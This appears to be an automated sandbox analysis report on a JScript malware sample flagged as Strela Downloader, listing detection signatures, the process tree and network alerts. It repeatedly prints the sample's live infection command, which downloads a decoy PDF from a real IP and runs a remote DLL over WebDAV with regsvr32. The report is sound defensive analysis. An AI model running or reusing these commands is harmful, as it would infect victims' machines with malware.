Edit tour

Windows Analysis Report
31202109622954930860.js

Overview

General Information

Sample name:	31202109622954930860.js
Analysis ID:	1587760
MD5:	f7e8be4cf88234d1643d8282b299e6be
SHA1:	9f18f30efcacd5d08e906e8b7c82948005058e6f
SHA256:	eb0ebec2837640c2b65ff7a02e0b6e57f432285b7ba5821df5577f2eae49798e
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7616 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7664 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7716 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7904 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8112 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3612 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1660,i,15573682708767360441,8606875034198900653,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7928 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8020 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8176 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7616	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7664, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7716, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7664, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7716, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", ProcessId: 7616, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8020, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 7664, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 7664, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 7664, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 7664, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 7664, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", ProcessId: 7616, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7664, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7716, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7928, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8020, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8176, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7928, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8020, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31202109622954930860.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 7664, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:46:48.088649+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:46:45.095296+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 31202109622954930860.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 31202109622954930860.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:46:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

